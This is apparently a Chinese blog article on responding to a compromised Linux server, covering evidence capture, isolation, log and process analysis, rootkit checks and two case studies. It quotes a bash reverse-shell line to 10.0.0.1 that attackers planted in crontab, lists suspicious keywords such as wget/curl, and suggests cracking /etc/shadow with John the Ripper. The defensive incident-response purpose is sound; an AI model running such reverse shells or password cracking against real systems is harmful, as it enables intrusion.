年關(guān)將至,服務(wù)器被入侵了怎么辦?
遇到服務(wù)器被黑,很多人會采用拔網(wǎng)線、封 iptables 或者關(guān)掉所有服務(wù)的方式應(yīng)急,但如果是線上服務(wù)器就不能立即采用任何影響業(yè)務(wù)的手段了,需要根據(jù)服務(wù)器業(yè)務(wù)情況分類處理。
下面我們看一個標(biāo)準(zhǔn)的服務(wù)器安全應(yīng)急影響應(yīng)該怎么做,也算是筆者從事安全事件應(yīng)急近 6 年以來的一些經(jīng)驗之談,借此拋磚引玉,希望大神們不吝賜教。
圖 1:處理思路
如上圖,將服務(wù)器安全應(yīng)急響應(yīng)流程分為如下 8 個環(huán)節(jié):
- 發(fā)現(xiàn)安全事件(核實)
- 現(xiàn)場保護
- 服務(wù)器保護
- 影響范圍評估
- 在線分析
- 數(shù)據(jù)備份
- 深入分析
- 事件報告整理
接下來我們將每個環(huán)節(jié)分解,看看需要如何斷開異常連接、排查入侵源頭、避免二次入侵等。
核實信息(運維/安全人員)
根據(jù)安全事件通知源的不同,分為兩種:
- 外界通知:和報告人核實信息,確認(rèn)服務(wù)器/系統(tǒng)是否被入侵。現(xiàn)在很多企業(yè)有自己的 SRC(安全響應(yīng)中心),在此之前更多的是依賴某云。這種情況入侵的核實一般是安全工程師完成。
- 自行發(fā)現(xiàn):根據(jù)服務(wù)器的異常或故障判斷,比如對外發(fā)送大規(guī)模流量或者系統(tǒng)負(fù)載異常高等,這種情況一般是運維工程師發(fā)現(xiàn)并核實的。
現(xiàn)場保護(運維)
我們很多人看過大陸的電視劇《重案六組》,每次接到刑事案件,刑警們第一時間就是封鎖現(xiàn)場、保存現(xiàn)場原狀。
同樣道理,安全事件發(fā)生現(xiàn)場,跟刑事案件發(fā)生現(xiàn)場一樣,需要保存第一現(xiàn)場重要信息,方便后面入侵檢測和取證。
保存現(xiàn)場環(huán)境(截圖)
相關(guān)信息采集命令如下:
- 進程信息:ps axu
- 網(wǎng)絡(luò)信息:netstat –a
- 網(wǎng)絡(luò)+進程:lsof / netstat -p
攻擊者登陸情況(截圖)
相關(guān)信息采集命令如下:
- 查看當(dāng)前登錄用戶:w 或 who -a
服務(wù)器保護(運維/機房)
這里的現(xiàn)場保護和服務(wù)器保護是兩個不同的環(huán)節(jié),前者注重取證,后者注重環(huán)境隔離。
核實機器被入侵后,應(yīng)當(dāng)盡快將機器保護起來,避免被二次入侵或者當(dāng)成跳板擴大攻擊面。
此時,為保護服務(wù)器和業(yè)務(wù),避免服務(wù)器被攻擊者繼續(xù)利用,應(yīng)盡快遷移業(yè)務(wù),立即下線機器。
如果不能立即處理,應(yīng)當(dāng)通過配置網(wǎng)絡(luò) ACL 等方式,封掉該服務(wù)器對網(wǎng)絡(luò)的雙向連接。
影響范圍評估(運維/開發(fā))
一般是運維或者程序確認(rèn)影響范圍,需要運維通過日志或者監(jiān)控圖表確認(rèn)數(shù)據(jù)庫或者敏感文件是否泄露,如果是代碼或者數(shù)據(jù)庫泄露了,則需要程序評估危害情況與處置方法。
影響訪問評估一般從下面幾點來入手:
- 具體業(yè)務(wù)架構(gòu):Web(PHP/Java, WebServer), Proxy, DB等。
- IP 及所處區(qū)域拓?fù)涞?/strong>:VLAN 內(nèi)服務(wù)器和應(yīng)用情況。
- 確定同一網(wǎng)絡(luò)下面服務(wù)器之間的訪問:可以互相登陸,是否需要 Key 或者是密碼登錄。
由此確定檢查影響范圍,確認(rèn)所有受到影響的網(wǎng)段和機器。
在線分析(安全人員/運維)
這時需要根據(jù)個人經(jīng)驗快速在線分析,一般是安全人員和運維同時在線處理,不過會涉及多人協(xié)作的問題,需要避免多人操作機器時破壞服務(wù)器現(xiàn)場,造成分析困擾。
之前筆者遇到一個類似的問題,就是運維排查時敲錯了 iptables 的命令,將 iptables -L 敲成 iptables -i 導(dǎo)致 iptables-save 時出現(xiàn)異常記錄,結(jié)果安全人員上來檢查時就被這條記錄迷惑了,導(dǎo)致處理思路受到一定干擾。
所有用戶 History 日志檢測
- 關(guān)鍵字:wget/curl, gcc, 或者隱藏文件, 敏感文件后綴(.c,.py,conf, .pl, .sh)。
- 檢查是否存在異常用戶。
- 檢查最近添加的用戶,是否有不知名用戶或不規(guī)范提權(quán)。
- 找出 root 權(quán)限的用戶。
可以執(zhí)行以下命令檢查:
- grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
反連木馬判斷
- netstat –a
- 注意非正常端口的外網(wǎng) IP
可疑進程判斷
- 判斷是否為木馬 ps –aux
- 重點關(guān)注文件(隱藏文件), Python腳本,Perl腳本,Shell 腳本(bash/sh/zsh)。
- 使用 which,whereis,find 定位。
Crontab 檢測
不要用 crontab –l 查看 crontab(繞過檢測),也有通過寫 crontab 配置文件反彈Shell 的,筆者接觸過幾次,一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。
系統(tǒng)日志檢測
- 檢查 sshd 服務(wù)配置文件 /etc/ssh/sshd_config 和系統(tǒng)認(rèn)證日志 auth、message,判斷是否為口令破解攻擊。
- /etc/ssh/sshd_config 文件確認(rèn)認(rèn)證方式。
- 確認(rèn)日志是否被刪除或者清理過的可能(大小判斷)。
- last/lastb 可以作為輔助,不過可能不準(zhǔn)確。
NHIDS 正常運行判斷
- 是否安裝:ls /etc/ossec
- 是否運行正常:ps axu |grep nhids,三個 nhids 進程則表示正常
其他攻擊分析
抓取網(wǎng)絡(luò)數(shù)據(jù)包并進行分析,判斷是否為拒絕服務(wù)攻擊,這里需要注意,一定要使用 -w 參數(shù),這樣才能保存成 pcap 格式導(dǎo)入到 wireshark,這樣分析起來會事半功倍。
- tcpdump -w tcpdump.log
安全相關(guān)的關(guān)鍵文件和數(shù)據(jù)備份(運維)
可以同步進行,使用 sftp/rsync 等將日志上傳到安全的服務(wù)器:
- 打包系統(tǒng)日志:參考:$ tar -jcvf syslog.tar.bz2 /var/log
- 打包 Web 日志:access log
- 打包 History 日志(所有用戶),參考:$ cp /home/user/,history user_history
- 打包 crontab 記錄
- 打包密碼文件:/etc/passwd, /etc/shadow
- 打包可疑文件、后門、Shell 信息
深入分析(安全人員)
初步鎖定異常進程和惡意代碼后,將受影響范圍梳理清楚,封禁了入侵者對機器的控制后,接下來需要深入排查入侵原因。一般可以從 Webshell、開放端口服務(wù)等方向順藤摸瓜。
Webshell 入侵
- 使用 Webshell_check.py 腳本檢測 Web 目錄:
- $ python webshell_check.py /var/www/ >result.txt
- 查找 Web 目錄下所有 nobody 的文件,人工分析:
- $ find /var/www –user nobody >nobody.txt
- 如果能確定入侵時間,可以使用 find 查找最近時間段內(nèi)變化的文件:
- $ find / -type f -name "\.?*" |xargs ls -l |grep "Mar 22"
- $ find / -ctime/-mtime 8
利用 Web 漏洞直接反連 Shell
分析 access.log:
- 縮小日志范圍:時間,異常 IP 提取。
- 攻擊行為提取:常見的攻擊 exp 識別。
系統(tǒng)弱口令入侵
認(rèn)證相關(guān)日志 auth/syslog/message 排查:
- 爆破行為定位和 IP 提取。
- 爆破是否成功確定:有爆破行為 IP 是否有 accept 記錄。
如果日志已經(jīng)被清理,使用工具(比如John the Ripper)爆破 /etc/passwd,/etc/shadow。
其他入侵
其他服務(wù)器跳板到本機。
后續(xù)行為分析
History 日志:提權(quán)、增加后門,以及是否被清理。
Sniffer:網(wǎng)卡混雜模式檢測 ifconfig |grep –i proc。
內(nèi)網(wǎng)掃描:網(wǎng)絡(luò) nmap/ 掃描器,socks5 代理。
確定是否有 rootkit:rkhunter, chkrootkit, ps/netstat 替換確認(rèn)。
后門清理排查
根據(jù)時間點做關(guān)聯(lián)分析:查找那個時間段的所有文件。
一些小技巧:/tmp 目錄, ls –la,查看所有文件,注意隱藏的文件。
根據(jù)用戶做時間關(guān)聯(lián):比如 nobody。
其他機器的關(guān)聯(lián)操作
其他機器和這臺機器的網(wǎng)絡(luò)連接 (日志查看)、相同業(yè)務(wù)情況(同樣業(yè)務(wù),負(fù)載均衡)。
整理事件報告(安全人員)
事件報告應(yīng)包含但不限于以下幾個點:
- 分析事件發(fā)生原因:事件為什么會發(fā)生的原因。
- 分析整個攻擊流程:時間點、操作。
- 分析事件處理過程:整個事件處理過程總結(jié)是否有不足。
- 分析事件預(yù)防:如何避免事情再次發(fā)生。
- 總結(jié):總結(jié)事件原因,改進處理過程,預(yù)防類似事件再次發(fā)生。
處理中遇到的比較棘手的事情
日志和操作記錄全被刪了,怎么辦?
strace 查看 losf 進程,再嘗試恢復(fù)一下日志記錄,不行的話鏡像硬盤數(shù)據(jù)慢慢查。這個要用到一些取證工具了,dd 硬盤數(shù)據(jù)再去還原出來。
系統(tǒng)賬號密碼都修改了,登不進去?
重啟進單用戶模式修改 root 密碼,或者通過控制卡操作,或者直接還原系統(tǒng),都搞不定就直接重裝吧。
使用常見的入侵檢測命令未發(fā)現(xiàn)異常進程,但是機器在對外發(fā)包,這是怎么回事?
這種情況下很可能常用的系統(tǒng)命令已經(jīng)被攻擊者或者木馬程序替換,可以通過 md5sum 對比本機二進制文件與正常機器的 md5 值是否一致。
如果發(fā)現(xiàn)不一致,肯定是被替換了,可以從其他機器上拷貝命令到本機替換,或者 alias 為其他名稱,避免為惡意程序再次替換。
被 getshell 怎么辦?
- 漏洞修復(fù)前,系統(tǒng)立即下線,用內(nèi)網(wǎng)環(huán)境訪問。
- 上傳點放到內(nèi)網(wǎng)訪問,不允許外網(wǎng)有類似的上傳點,有上傳點,而且沒有校驗文件類型很容易上傳 Webshell。
- 被 getshell 的服務(wù)器中是否有敏感文件和數(shù)據(jù)庫,如果有請檢查是否有泄漏。
- hosts 文件中對應(yīng)的 host 關(guān)系需要重新配置,攻擊者可以配置 hosts 來訪問測試環(huán)境。
- 重裝系統(tǒng)。
案例分析
上面講了很多思路的東西,相信大家更想看看實際案例,下面介紹兩個案例。
案例 1
一個別人處理的案例,基本處理過程如下:
通過外部端口掃描收集開放端口信息,然后獲取到反彈 Shell 信息,登陸機器發(fā)現(xiàn)關(guān)鍵命令已經(jīng)被替換,后面查看 History 記錄,發(fā)現(xiàn)疑似木馬文件,通過簡單逆向和進程查看發(fā)現(xiàn)了異常進程,從而鎖定了入侵原因。
具體內(nèi)容可以查看:http://www.freebuf.com/articles/system/50728.html
案例 2
一個筆者實際處理過的案例,基本處理流程跟上面提到的思路大同小異。
整個事情處理經(jīng)過大致如下:
1、運維發(fā)現(xiàn)一臺私有云主機間歇性的對外發(fā)送高達 800Mbps 的流量,影響了同一個網(wǎng)段的其他機器。
2、安全人員接到通知后,先確認(rèn)了機器屬于備機,沒有跑在線業(yè)務(wù),于是通知運維封禁 iptables 限制外網(wǎng)訪問。
3、運維為安全人員臨時開通機器權(quán)限,安全人員通過 History 和 ps 找到的入侵記錄和異常進程鎖定了對外大量發(fā)包的應(yīng)用程序,清理了惡意進程并刪除惡意程序。
惡意進程如下,經(jīng)過在網(wǎng)絡(luò)搜索發(fā)現(xiàn)是一種 DDOS 木馬,但沒有明確的處理思路:
- /usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session /sbin/DDosClient RunByP4407/sbin/DDosClient RunByPM4673
處理過程中,安全人員懷疑系統(tǒng)文件被替換,通過對比該機器與正常機器上面的 ps、netstat 等程序的大小發(fā)現(xiàn)敏感程序已經(jīng)被替換,而且 mtime 也被修改。
正常機器:
- du -sh /bin/ps
- 92K /bin/ps
- du -sh /bin/netstat
- 120K /bin/netstat
被入侵機器:
- du -sh /bin/netstat
- 2.0M /bin/netstat
- du -sh /bin/ps
- 2.0M /bin/ps
將部分常用二進制文件修復(fù)后,發(fā)現(xiàn)異常進程被 kill 掉后仍重啟了,于是安裝殺毒軟件 clamav 和 rootkit hunter 進行全盤掃描。
從而確認(rèn)了被感染的所有文件,將那些可以刪除的文件刪除后再次 kill 掉異常進程,則再沒有重啟的問題。
4、影響范圍評估
由于該機器只是備機,上面沒有敏感數(shù)據(jù),于是信息泄露問題也就不存在了。
掃描同一網(wǎng)段機器端口開放情況、排查被入侵機器 History 是否有對外掃描或者入侵行為,為此還在該網(wǎng)段機器另外部署蜜罐進行監(jiān)控。
5、深入分析入侵原因
通過被入侵機器所跑服務(wù)、iptables 狀態(tài),確認(rèn)是所跑服務(wù)支持遠(yuǎn)程命令執(zhí)行。
并且機器 iptables 為空導(dǎo)致黑客通過往 /etc/crontab 中寫“bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”命令方式進行 Shell 反彈,從而入侵了機器。
6、驗證修復(fù)、機器下線重裝
進行以上修復(fù)操作后,監(jiān)控未發(fā)現(xiàn)再有異常,于是將機器下線重裝。
7、完成安全事件處理報告
每次安全事件處理后,都應(yīng)當(dāng)整理成報告,不管是知識庫的構(gòu)建,還是統(tǒng)計分析安全態(tài)勢,都是很有必要的。
這次主要介紹了服務(wù)器被入侵時推薦的一套處理思路。實際上,安全防護跟運維思路一樣,都是要防患于未然,這時候的審計或者響應(yīng)很難避免危害的發(fā)生了。
我們更希望通過安全意識教育、安全制度的建設(shè),在問題顯露端倪時即可消弭于無形。